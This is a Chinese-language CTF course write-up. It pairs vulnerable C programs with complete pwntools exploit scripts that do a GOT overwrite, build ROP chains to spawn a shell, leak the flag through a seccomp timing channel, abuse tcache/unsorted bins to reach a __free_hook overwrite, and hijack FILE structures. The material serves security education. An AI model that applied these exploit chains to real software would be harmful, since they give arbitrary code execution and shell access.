# pwn
## [LAB] got2win
```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
char flag[0x30];
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
int fd = open("/home/chal/flag", O_RDONLY);
read(fd, flag, 0x30);
close(fd);
write(1, "Good luck !\n", 13);
unsigned long addr = 0;//4bytes
printf("Overwrite addr: ");
scanf("%lu", &addr);
printf("Overwrite 8 bytes value: ");
read(0, (void *) addr, 0x8);
printf("Give me fake flag: ");
int nr = read(1, flag, 0x30);
if (nr <= 0)
exit(1);
flag[nr - 1] = '\0';
printf("This is your flag: ctf{%s}... Just kidding :)\n", flag);
return 0;
}
```
輸入一個地址再輸入8bytes覆蓋前面的地址,第十行會把 stdout 覆蓋到 flag,如果把read_got 的值覆蓋成 write_plt,read(1, flag, 0x30) 就會變成 write(1, flag, 0x30)

地址 0x404038 的值覆蓋成 0401030
```pyt
from pwn import *
#p = process(['./chal'])
p = remote('edu-ctf.zoolab.org', 10004)
read_adr = 0x404038
write_val = 0x401030
p.sendlineafter('write addr: ', str(read_adr))
p.sendafter('bytes value: ', p64(write_val))
p.interactive()
```
執行後得flag

## [LAB] rop2win Pwn 50 16
```clike=
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
char fn[0x20];
char ROP[0x100];
// fd = open("flag", 0);
// read(fd, buf, 0x30);
// write(1, buf, 0x30); // 1 --> stdout
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx);
seccomp_release(ctx);
printf("Give me filename: ");
read(0, fn, 0x20);
printf("Give me ROP: ");
read(0, ROP, 0x100);
char overflow[0x10];
printf("Give me overflow: ");
read(0, overflow, 0x30);
return 0;
}
```
程式只允許 open read write exit 等 syscall,因此用rop chain構造出:
fd = open("flag", 0);
read(fd, buf, 0x30);
write(1, buf, 0x30); // 1 --> stdout

用 ropGadget 找到 instructsions 地址

``` py
from pwn import *
# p = process('./chal')
p = remote('edu-ctf.zoolab.org', 10005)
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
ROP_address = 0x4e3360
flag = 0x4e3340
pop_rdi_ret = 0x00000000004038b3
pop_rsi_ret = 0x0000000000402428
pop_rdx_pop_rbx_ret = 0x0000000000493a2b
pop_rax_ret = 0x000000000045db87
leave_ret = 0x000000000040190c
syscall_ret = 0x00000000004284b6
ROP = flat(
pop_rdi_ret, flag,
pop_rsi_ret, 0,
pop_rax_ret, 2,
syscall_ret,
pop_rdi_ret, 3,
pop_rsi_ret, flag,
pop_rdx_pop_rbx_ret, 0x90, 0xdeadbeef,
pop_rax_ret, 0,
syscall_ret,
pop_rdi_ret, 1,
pop_rsi_ret, flag,
pop_rax_ret, 1,
syscall_ret,
)
# gdb.attach(p,
# """
# b *main+408
# """
# )
#p.sendafter(' filename: ', b'flag\x00')
p.sendafter(' filename: ', b'/home/chal/flag\x00')
p.sendafter(' ROP: ', b'a'*8 + ROP)
p.sendafter('flow: ', b'a' * 0x20 + p64(ROP_address) + p64(leave_ret))
p.interactive()
```
'a' * 0x20 蓋掉 stack,rbp 蓋成 rop_address,return address 蓋成 leave_ret
執行後會把 stack 遷移到 ROP_address + 8 上面,隨後執行 rop chain 得 flag

## [HW] how2know
```c=
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>
static char flag[0x30];
int main()
{
void *addr;
int fd;
scmp_filter_ctx ctx;
addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if ((unsigned long)addr == -1)
perror("mmap"), exit(1);
fd = open("/home/chal/flag", O_RDONLY);
if (fd == -1)
perror("open"), exit(1);
read(fd, flag, 0x30);
close(fd);
write(1, "talk is cheap, show me the code\n", 33);
read(0, addr, 0x1000);
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
seccomp_release(ctx);
((void(*)())addr)();
return 0;
}
```
程式把 /home/chal/flag 讀進flag字串後,給定一段記憶體空間可輸入任意值,之後程式設定除了exit exit_group以外的 syscall 都不能用,然後把剛才那段記憶體空間的 bytes 當作 function 來 call
```py
import warnings
warnings.filterwarnings("ignore")
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
byte = 0;
flag = ''
flag_text = ''
for byte in range(1, 0x30,8):
for count in range(64):
p = remote('edu-ctf.zoolab.org', 10002)
# p = process('./chal', aslr=False)
assembly = f'''
mov rbx, [rsp];
lea rbx, [rbx+0x2c64]
mov rdi, rbx;
lea rdi, [rdi+{hex(byte)}]
mov rdx, [rdi];
shr rdx, {hex(count)};
and rdx, 1;
test rdx, rdx;
je break;
loop:
nop
nop
nop
nop
nop
nop
nop
nop
jmp loop;
break:
mov rax, 0;
syscall;
'''
payload =asm( assembly, arch = 'amd64', os = 'linux')
p.sendafter(' me the code\n', payload)
print(p.recv(timeout=5))
try:
eof = (p.recv(timeout=5))
close_connection = 1;
except:
close_connection = 0
if close_connection:
flag += '1'
else:
flag += '0'
p.close()
print(flag, byte, count, flag_text)
n = int(flag[::-1], 2)
flag_text = n.to_bytes((n.bit_length() + 7) // 8, 'little').decode()
print(flag_text, byte)
flag = flag[::-1]
n = int(flag, 2)
flag_text = n.to_bytes((n.bit_length() + 7) // 8, 'little').decode()
print(flag_text)
#000000000110001000110010100000101110001011011110000011101001011010000110
#000000000110001000110010100000101110001011011110000011101001011010000110
```
因為使用不合法的 syscall 程式會直接中斷,所以可以遍歷 flag 的每一個 bit判斷,若是1就call syscall程式中斷,若是0進入一個無限迴圈,每次程式執行可以得一個 bit ,最後把所有bits連起來得到 flag

## [HW] rop++
```c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char buf[0x10];
const char *msg = "show me rop\n> ";
write(1, msg, strlen(msg));
read(0, buf, 0x200);
return 0;
}
```
read有buffer overflow的漏洞可以利用,解題的關鍵在於用rop chain構造出 execve("/bin/sh",0,0)

用 ropGadget 找到 rop chain 的地址
```python
import warnings
warnings.filterwarnings("ignore")
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
p = process('./chal', aslr=False)
p = remote('edu-ctf.zoolab.org', 10003)
'''
mov rax,0x3b;
mov rdi,/bin/sh;
mov rsi,0;
mov rdx,0;
'''
binsh_address = 0x4c5000
syscall_ret = 0x0000000000414506
pop_rax_ret = 0x0000000000447b27
pop_rsi_ret = 0x000000000047d59c
pop_rdi_ret = 0x0000000000401e3f
pop_rdx_rbx_ret = 0x000000000047ed0b
ROP = flat(
pop_rdi_ret, 0,
pop_rsi_ret, binsh_address,
pop_rax_ret, 0,
pop_rdx_rbx_ret, 10, 0,
syscall_ret,
pop_rdi_ret, binsh_address,
pop_rsi_ret, 0,
pop_rax_ret, 0x3b,
pop_rdx_rbx_ret, 0, 0,
syscall_ret,
)
# gdb.attach(p)
p.recv()
p.sendline(b'a' * 0x10 + b'b' * 8 + ROP)
p.sendline(b"/bin/sh\x00")
p.interactive()
```
rop 先 read(0, binsh_address, 10) 輸入 b"/bin/sh" 然後 execve(binsh_address, 0, 0)
payload 是蓋掉 buf + 蓋掉rbp 最後 return to ROP,執行 script 後get shell

## [LAB] heapmath Pwn 50 0
```cl
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
srand(time(NULL));
void *tcache_chk[7] = {0};
unsigned char tcachebin[3][7] = {0}; // 0x20, 0x30, 0x40
unsigned int tcachebin_counts[4] = {0};
unsigned long tcache_size[7] = {0};
unsigned long tcache_free_order[7] = {0};
puts("----------- ** tcache chall ** -----------");
unsigned long tmp = 0;
for (int i = 0; i < 7; i++) {
tmp = (rand() % 0x21) + 0x10; // 0x10 ~ 0x30
tcache_size[i] = tmp;
}
for (int i = 0; i < 7; i++) {
repeat:
tmp = rand() % 7;
for (int j = 0; j < i; j++)
if (tmp == tcache_free_order[j]) goto repeat;
tcache_free_order[i] = tmp;
}
for (int i = 0; i < 7; i++) {
tcache_chk[i] = malloc( tcache_size[i] );
printf("char *%c = (char *) malloc(0x%lx);\n", 'A' + i, tcache_size[i]);
}
for (int i = 0; i < 7; i++) {
int idx = tcache_free_order[i];
free(tcache_chk[ idx ]);
printf("free(%c);\n", 'A' + (unsigned char) idx);
tmp = tcache_size[ idx ] - 0x8;
if (tmp % 0x10)
tmp = (tmp & ~0xf) + 0x20;
else
tmp += 0x10;
unsigned int binidx = ((tmp - 0x20) / 0x10);
unsigned int bincnt = tcachebin_counts[ binidx ];
tcachebin[ binidx ][ bincnt ] = 'A' + (unsigned char) idx;
tcachebin_counts[ binidx ]++;
}
char tmpbuf[0x100] = {0};
char ansbuf[3][0x100] = {0};
for (int i = 0; i < 3; i++) {
for (int j = 6; j >= 0; j--)
if (tcachebin[i][j]) {
sprintf(tmpbuf, "%c --> ", tcachebin[i][j]);
strcat(ansbuf[i], tmpbuf);
}
strcat(ansbuf[i], "NULL");
}
puts("");
for (int i = 0; i < 3; i++) {
printf("[chunk size] 0x%x: ", (i+2) * 0x10);
if (i == 0) {
printf("%s\t(just send \"%s\")\n", ansbuf[i], ansbuf[i]);
} else {
printf("?\n> ");
fgets(tmpbuf, 0x100, stdin);
if (!strncmp(tmpbuf, ansbuf[i], strlen(ansbuf[i]))) {
puts("Correct !");
} else {
puts("Wrong !");
printf("Ans: \"%s\"\n", ansbuf[i]);
exit(0);
}
}
}
puts("\n----------- ** address chall ** -----------");
int cmp1 = 0;
int cmp2 = 0;
unsigned long ans_addr = 0;
cmp1 = rand() % 7;
while ((cmp2 = rand() % 7) == cmp1);
if (cmp1 > cmp2) {
tmp = cmp1;
cmp1 = cmp2;
cmp2 = tmp;
}
printf("assert( %c == %p );\n", 'A' + cmp1, tcache_chk[ cmp1 ]);
printf("%c == ?\t(send as hex format, e.g. \"%p\")\n> ",
'A' + cmp2, tcache_chk[ cmp1 ]);
scanf("%s", tmpbuf);
ans_addr = strtoul(tmpbuf, NULL, 16);
if (ans_addr == (unsigned long) [ cmp2 ]) {
puts("Correct !");
} else {
puts("Wrong !");
printf("Ans: %p\n", tcache_chk[ cmp2 ]);
exit(0);
}
puts("\n----------- ** index chall ** -----------");
unsigned long *fastbin[2] = {0};
unsigned long fastbin_size = 0;
unsigned long secret_idx = 0, result_idx = 0, res = 0;
fastbin_size = (rand() % 0x31) + 0x40; // 0x40 ~ 0x70
fastbin_size &= ~0xf;
fastbin[0] = (unsigned long *) malloc( fastbin_size );
fastbin[1] = (unsigned long *) malloc( fastbin_size );
printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);
secret_idx = rand() % (fastbin_size / 8);
fastbin[1][ secret_idx ] = 0xdeadbeef;
result_idx = ((unsigned long)(&fastbin[1][ secret_idx ]) - (unsigned long)(&fastbin[0][0])) / 8;
printf("Y[%lu] = 0xdeadbeef;\n", secret_idx);
printf("X[?] == 0xdeadbeef\t(just send an integer, e.g. \"8\")\n> ");
scanf("%lu", &res);
if (fastbin[0][res] == 0xdeadbeef) {
puts("Correct !");
} else {
puts("Wrong !");
printf("Ans: %lu\n", result_idx);
exit(0);
}
puts("\n----------- ** tcache fd chall ** -----------");
free(fastbin[0]);
free(fastbin[1]);
printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);
scanf("%s", tmpbuf);
ans_addr = strtoul(tmpbuf, NULL, 16);
if (ans_addr == *fastbin[1]) {
puts("Correct !");
} else {
puts("Wrong !");
printf("Ans: 0x%lx\n", *fastbin[1]);
exit(0);
}
puts("\n----------- ** fastbin fd chall (final) ** -----------");
puts("[*] Restore the chunk to X and Y");
printf("%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);
printf("%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
fastbin[1] = malloc(fastbin_size);
fastbin[0] = malloc(fastbin_size);
printf("[*] Do something to fill up 0x%lx tcache\n...\n[*] finish\n", fastbin_size + 0x10);
void *tmpchk[7];
for (int i = 0; i < 7; i++)
tmpchk[i] = malloc(fastbin_size);
for (int i = 0; i < 7; i++)
free(tmpchk[i]);
printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
free(fastbin[0]);
free(fastbin[1]);
printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);
scanf("%s", tmpbuf);
ans_addr = strtoul(tmpbuf, NULL, 16);
if (ans_addr == *fastbin[1]) {
puts("Correct !");
memset(tmpbuf, 0, 0x31);
int fd = open("/home/heapmath/flag", O_RDONLY);
read(fd, tmpbuf, 0x30);
close(fd);
printf("Here is your flag: %s\n", tmpbuf);
} else {
puts("Wrong !");
printf("Ans: 0x%lx\n", *fastbin[1]);
exit(0);
}
}
```

題目給 malloc size 計算 chunk size:
A, B, C, D, E, F, G 分別是 0x30 0x30 0x30 0x20 0x40 0x40 0x30

30bytes 的 chunk 中free的順序是 free C, free B, free G, free A
因為 FILO 倒過來變 A->G->B->C->NULL


40bytes 的 chunk 中free的順序是 free F, free E
因為 FILO 倒過來變 E->F->NULL

D 的位置加上 D的 chunk size 等於 下一個 chunk的位置
0x55f8e35be330 + 0x20 = 0x55f8e35be350

unsigned long 長度為 8 bytes,往前一個index 則 bytes + 8
(0x40 + 0x10 (header) + 0x8 * 0x7 ) / 0x8 = 17

tcache fd 指向 data
0x55f8e35be450 - 0x10(heaer) - 0x40(malloc size) = 0x55f8e35be400

fastbin fd 指向 header
0x55f8e35be450 - 0x10(header) - 0x40(malloc size) -0x10(header) = 0x55f8e35be3f0

---
## [LAB] babynote Pwn 50 0

程式執行後有4個功能,新增筆記 編輯筆記 刪除筆記 顯示筆記,編輯筆記有個overflow可以利用,刪除會有leak data可以反推libc位置
```python
from pwn import *
p = process('./chal')
#p = remote('edu-ctf.zoolab.org', 10007)
def addNote(idx, buf):
print(p.recv())
p.sendline(b"1")
print(p.recv())
p.sendline(idx)
print(p.recv())
p.sendline(buf)
def editNote(idx, size, buf):
print(p.recv())
p.sendline(b"2")
print(p.recv())
p.sendline(idx)
print(p.recv())
p.sendline(size)
p.sendline(buf)
def delNote(idx):
#del
print(p.recv())
p.sendline(b"3")
print(p.recv())
p.sendline(idx)
def show():
print('show')
print(p.recv())
print('show')
p.sendline(b"4")
addNote(b'0', b'\x11' * 8)
editNote(b'0', str(0x418), b"\xaa" * 0x418)
addNote(b'1', b'\x22' * 8)
editNote(b'1',str(0x18), b"\xbb" * 0x18)
addNote(b'2', b'\x33' * 8)
delNote(b'0')
show()
a = p.recv()
a = a.split()
print(a)
data = a[2].ljust(8, b'\x00')
print(hex(u64(data)))
libc = u64(data) - 0x1ECBE0
system = libc + 0x52290
free_hook = p64(libc + 0x1eee48)
print(f"libc :{hex(libc)} system:{hex(system)}")
#.data + 0x0000000000219c80
data = b'/bin/bash\x00'.ljust(16, b'\x00')
payload = data + b'\x00'*8 + p64(0x21) + b'c' * 16 + free_hook
p.sendline('4')
editNote(b'1', str(0x38), payload)
editNote(b'2', b'8', p64(system))
p.interactive()
```

- main_arena

- libc
新增三個note,note1的 data size 設定為 0x418,因為size大於0x410 free 掉後不會進入 tcache 而是 unsorted bin,此時的notes[0]->data 會是 unsoreted bin的 fd,而 unsorted bin 的 fd 指向main_arena + 96,因此可以推算出 libc的位址


找出 system 和 free_hook 跟 libc 之間的 offset
data = b'/bin/bash\x00'.ljust(0x18, b'\x00')
payload = data **(填滿 notes[1]->data)** + p64(0x21) + b'c' * 16 + free_hook **(將notes[2]->data 指向的位址改為 free_hook)**
編輯 notes[1]->data 傳入上述 payload,此時 notes[1]->data 指向 "/bin/bash",notes[2]->data 指向 free_hook,將free_hook 的值修改成 system() 的 address,之後 call free() 的時候都會變成 call system()
最後 delete notes[1],free(notes[1]->data) , 變成system(notes[1]->data),因為notes[1]->data 指向 "/bin/bash" , system("/bin/bash") 得到 shell後 cat flag

## [HW] babyums (flag1)

程式執行後有4個功能,新增用戶 編輯data 刪除用戶 顯示用戶,編輯用戶有個overflow可以利用,刪除會有leak data可以反推libc位置
```python
from pwn import *
#p = process('./chal')
#p = remote('edu-ctf.zoolab.org', 10008)
p = process('./a.out')
context.terminal = ['tmux', 'splitw', '-h']
def add(idx, user, pwd):
p.sendline(b'1')
print(p.recv())
p.sendline(idx)
print(p.recv())
p.sendline(user)
print(p.recv())
p.sendline(pwd)
print(p.recvuntil('5. bye\n> '))
def edit(idx, size, buf):
p.sendline(b'2')
print(p.recv())
p.sendline(idx)
print(p.recv())
p.sendline(size)
p.sendline(buf)
print(p.recvuntil('5. bye\n> '))
def dell(idx):
p.sendline(b'3')
print(p.recv())
p.sendline(idx)
print(p.recvuntil('5. bye\n> '))
def show():
p.sendline(b'4')
print(p.recv().decode())
add(b'0', b'\xaa'*8, b'\xaa'*8)
edit(b'0', str(0x450), b'\xff'*0x450)
add(b'1', b'\xbb'*8, b'\xbb'*8)
edit(b'1', b'16', b'\xff'*16)
add(b'2', b'\xcc'*8, b'\xcc'*8)
dell(b'0')
show()
r = p.recvuntil('5. bye\n> ').split()
print(r)
data = u64(r[2].ljust(8, b'\x00'))
libc = data - 0x1ecbe0
system = libc + 0x0000000000052290
hook = libc + 0x00000000001eee48
flag = data - 0x28FBC06C8580
print(hex(flag))
print()
print()
print()
print()
print()
print(hex(data), hex(libc), hex(hook))
#payload = b'\xbb' * 16 + p64(0) + p64(31) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(hook)
payload = b'/bin/bash\x00'.ljust(16, b'\x00') + p64(0) + p64(31) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(hook)
gdb.attach(p)
edit(b'1', str(len(payload)), payload)
#bof
edit(b'2', b'8', p64(system))
# gdb.attach(p)
p.interactive()
```

- main_arena

- libc
新增三個user,user1的 data size 設定為 0x418,因為size大於0x410 free 掉後不會進入 tcache 而是 unsorted bin,此時的users[0]->data 會是 unsoreted bin的 fd,而 unsorted bin 的 fd 指向main_arena + 96,因此可以推算出 libc的位址


找出 system 和 free_hook 跟 libc 之間的 offset
**payload** =
b'/bin/bash\x00'.ljust(16, b'\x00')**(填滿 users[1]->data)**
\+ p64(0) + p64(31) **(填滿 chunk header)**
\+ p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc)**(填滿 username)**
\+ p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc)**(填滿 password)**
\+ p64(hook) **(users[2]->data 指向的位址改為 free_hook)**
編輯 users[1]->data 傳入上述 payload,此時 users[1]->data 指向 "/bin/bash",users[2]->data 指向 free_hook,將free_hook 的值修改成 system() 的 address,之後 call free() 的時候都會變成 call system()
最後 delete users[1],free(users[1]->data) , 變成system(users[1]->data),因為users[1]->data 指向 "/bin/bash" , system("/bin/bash") 得到 shell後 cat babums.c 得到 admin password a.k.a FLAG1

## [HW] babyums (flag2)
承上 得到 shell後 cat flag

## [LAB] FILE_AAR
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
char flag[0x10] = "FLAG{TEST}\n";
int main()
{
FILE *fp;
char *buf;
buf = malloc(0x10);
fp = fopen("/tmp/meow", "w");
read(0, buf, 0x1000);
fwrite(buf, 0x10, 1, fp);
return 0;
}
```
題目 read(0, buf, 0x1000),有一overflow 可利用,可任意修改 fp ,將 fp member 改為下列數值,可 print 出 flag
fp->_flags = 0xfbad0800;
flags 需 & ~NO_WRITES,代表可寫
避免初始化,設置 flags CURRENTLY_PUTTING
fp->_IO_read_end = fp->_IO_write_base = addr;
write_base 指向目標位址
避免執行 sys_seek,設置 read_end == write_base
fp->_IO_write_ptr = addr + size;
write_ptr 設為 write_base + 資料大小
fp->_IO_write_end = 0;
避免複製,因此 write_end <= write_ptr
fp->_fileno = 1;
``` python
p = remote('edu-ctf.zoolab.org', 10010)
# p = process('./a.out', aslr=0)
# p = process('./chal', aslr=0)
addr = 0x555555558010
addr = 0x000000000404050
flag = 0xfbad0800
size = 70
_IO_save_base = 0x0
_IO_backup_base = 0x0
_IO_save_end = 0x0
_markers = 0x0
io_read_ptr = 0
io_read_end = addr
io_read_base = 0
io_write_base = addr
io_write_ptr = addr + size
io_write_end = 0
_IO_buf_base = 0
_IO_buf_end = 0
chain = 0x1555555105c0
file_no = 1
# gdb.attach(p, '''
# b main
# add-symbol-file aar.o
# '''
# )
payload = b'\xcc' * 0x20 +p64(flag) + p64(io_read_ptr) + p64(io_read_end) + p64(io_read_base) + p64(io_write_base) + p64(io_write_ptr) + p64(io_write_end) + p64(_IO_buf_base) + p64(_IO_buf_end)+ p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end) + p64(_markers) + p64(chain) + p64(file_no)
p.send(payload)
p.interactive()
```
flag:

## [LAB] FILE_AAW
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
char flag[0x10] = "FLAG{TEST}\n";
char owo[] = "OWO!";
int main()
{
FILE *fp;
char *buf;
buf = malloc(0x10);
fp = fopen("/tmp/meow", "r");
read(0, buf, 0x1000);
fread(buf, 0x10, 1, fp);
if (strcmp(owo, "OWO!") != 0)
write(1, flag, sizeof(flag));
return 0;
}
```
題目的 read(0,buf,0x1000) 有一 overflow可利用,可任意修改 fp內容,將下面的關鍵fp member修改,其餘保持不變,修改後可任意寫入 buffer,將 owo 輸入任意值使其不等於 OWO! ,隨後可得 flag
fp->_flags = 0xfbad0000;
flags 需 & ~NO_READS,代表可讀
避免被視為 EOF,設置 flags & ~EOF_SEEN
fp->_IO_buf_base = fp->_IO_write_base = addr;
buf_base 指向目標位址
fp->_IO_buf_end = (char *)addr + size;
buf_end 設為 buf_base + 夠大的值 (至少 >= want)
fp->_IO_read_ptr = fp->_IO_read_end = 0;
避免複製,因此 read_end == read_ptr
fp->_fileno = 0;
由stdin 寫入
```python
from pwn import *
# p = process('./chal', aslr=0)
p = remote('edu-ctf.zoolab.org', 10009)
context.terminal = ['tmux', 'splitw', '-h']
addr = 0x00404070
size = 4
_flags = 0xfbad0000
_IO_read_ptr = 0x0
_IO_read_end = 0x0
_IO_read_base = 0x0
_IO_write_base = addr
_IO_write_ptr = 0x0
_IO_write_end = 0x0
_IO_buf_base = addr
_IO_buf_end = addr+size
_IO_save_base = 0x0
_IO_backup_base = 0x0
_IO_save_end = 0x0
_markers = 0x0
_chain = 0x1555555105c0
_fileno = 0
payload = b'\xcc' * 0x20 + p64(_flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base) + p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end) + p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end) + p64(_markers) + p64(_chain) + p64(_fileno)
p.send(payload)
p.sendline(b'aaaaaaaaaaaa')
p.interactive()
```
flag :

## [HW] miniums

程式有四個功能 add edit del show

leak user0:
題目的del_user 刪除user後未將其清空,若連續free user0, user1,
兩者進入tcache,user1 的 fd會指向 user0,
user1的fd剛好是 user1 的 name,show 之後可以leak user0 的 address
leak main_arena:
show()會把unsorted bin清空,因此再del 一個 user2 ,
使得 **user2->data->_IO_buf_base** 進入unsorted bin,
(user0)+0x2700+0x10 (0x10 is chunk header),
這個地址指向main_arena的地址
任意讀:

malloc()一個 0x1d0 的 buf 會從 tcache 中拿一個 0x1e0 的chunk,這個chunk 剛好是剛剛被 delete 的 user2->data,構造這個 fp 再利用 fwrite 讀取前面的指向的 main_arena 的指標,得知 main_arena 的地址

計算libc地址:
libc = main_arena - 0x1ECBE0
system = libc + 0x52290
free_hook = libc + 0x1eee48
寫free_hook:
1. editUser(user1),size 設為 0x1d0 ,會從 tcache 中拿一個 0x1e0 的chunk,這個chunk 剛好是剛剛被 delete 的 user1->data,把寫入的地址竄改成 free_hook
2. editUser(user0)﹐寫入 system 地址,之後執行 free(user) ,都會變成 system(user)

system('/bin/bash'):
新增一個user ,設置 user->name 為 /bin/bash\x00,
因為 user->name 相對 user 的 offset 是 0
free(user) => free(user->name) => free('/bin/bash') => system('/bin/bash')
```python
from pwn import *
import time
# p = process('./a.out', aslr=0)
# p = process('./a.out',env={"LD_PRELOAD" : "/usr/src/glibc/glibc_dbg/libc.so"}, aslr=0)
# p = process('./chal')
p = remote('edu-ctf.zoolab.org', 10011)
context.terminal = ['tmux', 'splitw', '-h']
def addUser(idx, buf):
print('add-----------------')
print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore'))
p.sendline(b"1")
print(p.recvuntil(b'index\n> ').decode('utf-8' ,'ignore'))
p.sendline(idx)
print(p.recvuntil(b'username\n> ').decode('utf-8' ,'ignore'))
p.sendline(buf)
print('add----------------- done')
def editUser(idx, size, buf):
print('edit-----------------')
print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore'))
p.sendline(b"2")
print(p.recv().decode('utf-8' ,'ignore'))
p.sendline(idx)
print(p.recv().decode('utf-8' ,'ignore'))
p.sendline(size)
p.sendline(buf)
print('edit----------------- done')
def delUser(idx):
print('del-----------------')
#del
print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore'))
p.sendline(b"3")
print(p.recv().decode('utf-8' ,'ignore'))
p.sendline(idx)
print('del----------------- done')
def show():
print('show-----------------')
print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore'))
p.sendline(b"4")
print('show----------------- done')
# gdb.attach(p,'''
# b show_users
# c
# ''')
for i in range(3):
addUser(str(i), b'\xaa' * 5)
# buf-base 0x1000
for i in range(3):
editUser(str(i), b'51', 50*'\xaa')
# free user1 後 user1 在 tcache 指向下一個 chunk user0
for i in range(2):
delUser(str(i))
# # show 拿走 unsorted bin
# # show 得知 user0 address
# # 算出 user2->data->_IO_buf_base (unsotred bin)和 user0的 offset
show()
a = p.recvuntil(b'show_users').split()
print(a)
user0 = a[3].ljust(8, b'\x00')
addrToMAIN = u64(user0)+0x2700+0x10 #0x10 is header
user0 = u64(user0)
print(hex((user0)))
print(hex(addrToMAIN))
#free user2->data->_IO_buf_base to unsotred bin
delUser('2')
#read
_flags = 0xfbad0800
_IO_read_ptr = 0
_IO_read_end = addrToMAIN
_IO_read_base = 0
_IO_write_base = addrToMAIN
_IO_write_ptr = addrToMAIN+8
_IO_write_end = 0
_IO_buf_base = 0
_IO_buf_end = 0
_IO_save_base = 0x0
_IO_backup_base = 0x0
_IO_save_end = 0x0
_markers = 0x0
_chain = 0x1555555105c0
_fileno = 1
payload = p64(_flags)+ p64(_IO_read_ptr)+ p64(_IO_read_end)+ p64(_IO_read_base)+ p64(_IO_write_base)+ p64(_IO_write_ptr)+ p64(_IO_write_end)+ p64(_IO_buf_base)+ p64(_IO_buf_end)+ p64(_IO_save_base)+ p64(_IO_backup_base)+ p64(_IO_save_end)+ p64(_markers)+ p64(_chain)+ p64(_fileno)
editUser(b'2', b'464', payload) # set user2
r = p.recv(20)
print(r)
main_arena = u64(r[0:8].ljust(8, b'\x00'))
print(hex(main_arena))
# libc = main_arena - 0x1BCBE0
libc = main_arena - 0x1ECBE0
system = libc + 0x52290
free_hook = libc + 0x1eee48
print(f"libc :{hex(libc)} system:{hex(system)}")
print(f"free :{hex(free_hook)} ")
_flags = 0xfbad2c80
_IO_read_ptr = free_hook
_IO_read_end = free_hook
_IO_read_base = free_hook
_IO_write_base = free_hook
_IO_write_ptr = free_hook
_IO_write_end = free_hook+8
_IO_buf_base = free_hook
_IO_buf_end = free_hook+8
_IO_save_base = 0x0
_IO_backup_base = 0x0
_IO_save_end = 0x0
payload = p64(_flags)+ p64(_IO_read_ptr)+ p64(_IO_read_end)+ p64(_IO_read_base)+ p64(_IO_write_base)+ p64(_IO_write_ptr)+ p64(_IO_write_end)+ p64(_IO_buf_base)+ p64(_IO_buf_end)+ p64(_IO_save_base)+ p64(_IO_backup_base)+ p64(_IO_save_end)+ p64(_markers)+ p64(_chain)+ p64(_fileno)
addUser(b'3', b'/bin/bash\x00')
editUser(b'0', b'464', payload) # set user1 fp
payload = p64(system)
editUser(b'1', b'8', payload) # set user1
delUser(b'3')
p.interactive()
```
flag :

## note
Chunk 為動態記憶體分配的基本單位,最小為 0x20 bytes,metadate 0x10bytes
使⽤者透過 malloc 取得的⼩塊記憶體 - chunk
⽤來分發這些⼩塊記憶體的⼤塊記憶體 - heap
⽤來儲存⼤塊記憶體的相關資訊的資料結構 - arena
bin
- tchche bin
- fastbin
-

## 跨謀

